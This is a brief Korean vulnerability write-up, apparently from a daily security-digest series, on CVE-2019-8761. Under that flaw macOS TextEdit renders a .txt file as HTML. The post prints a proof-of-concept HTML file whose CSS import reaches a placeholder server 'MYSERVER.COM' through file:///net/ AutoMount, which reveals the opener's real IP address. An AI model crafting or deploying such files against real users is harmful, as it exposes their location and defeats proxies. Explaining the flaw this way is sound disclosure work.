[하루한줄] CVE-2019-8761: MacOS txt 파일로 html 실행

URL

THIS MAN THOUGHT OPENING A TXT FILE IS FINE, HE THOUGHT WRONG. MACOS CVE-2019-8761

Target

  • macOS

Explain

MacOS에서 TextEdit를 통해 확장자명이 txt임에도 불구하고 RTF-HTML 파일로 실행할 수 있는 취약점이 발견되었습니다.

만약 txt 파일이 다음과 같이 시작하면, txt 파일임에도 HTML 파싱을 합니다.

<!DOCTYPE HTML><html><head></head><body>

다음과 같은 CSS 속성이 로컬 CSS 파일을 로드합니다.

<style> @import { "url " } </stymle>

하지만 작동하는 scheme은 file://입니다. 이를 통해 외부 요청은 할 수 없지만 로컬에 저장된 다른 로컬 파일을 열 수 있습니다. OSX의 AutoMount 기능을 통해 원격 요청을 할 수 있습니다. ls /net/EXAMPLE.com을 수행하면 OSX가 EXAMPLE.com에 원격 요청을 보냅니다. TextEdit에서 외부 요청을 못하도록 차단하였지만 file:// scheme를 통해 MYSERVER.COM에 접근할 수 있습니다. MYSERVER.COM에 접근하는 코드는 다음과 같습니다.

<!DOCTYPE HTML>

<html><head></head><body><style>@import{ "file:///net/MYSERVER.COM/a.css"} </style>

I know where you are...</body></html>

AutoMount는 커널을 사용하여 TCP 연결을 하므로 프록시를 사용하더라도 실제 IP 주소를 알 수 있습니다.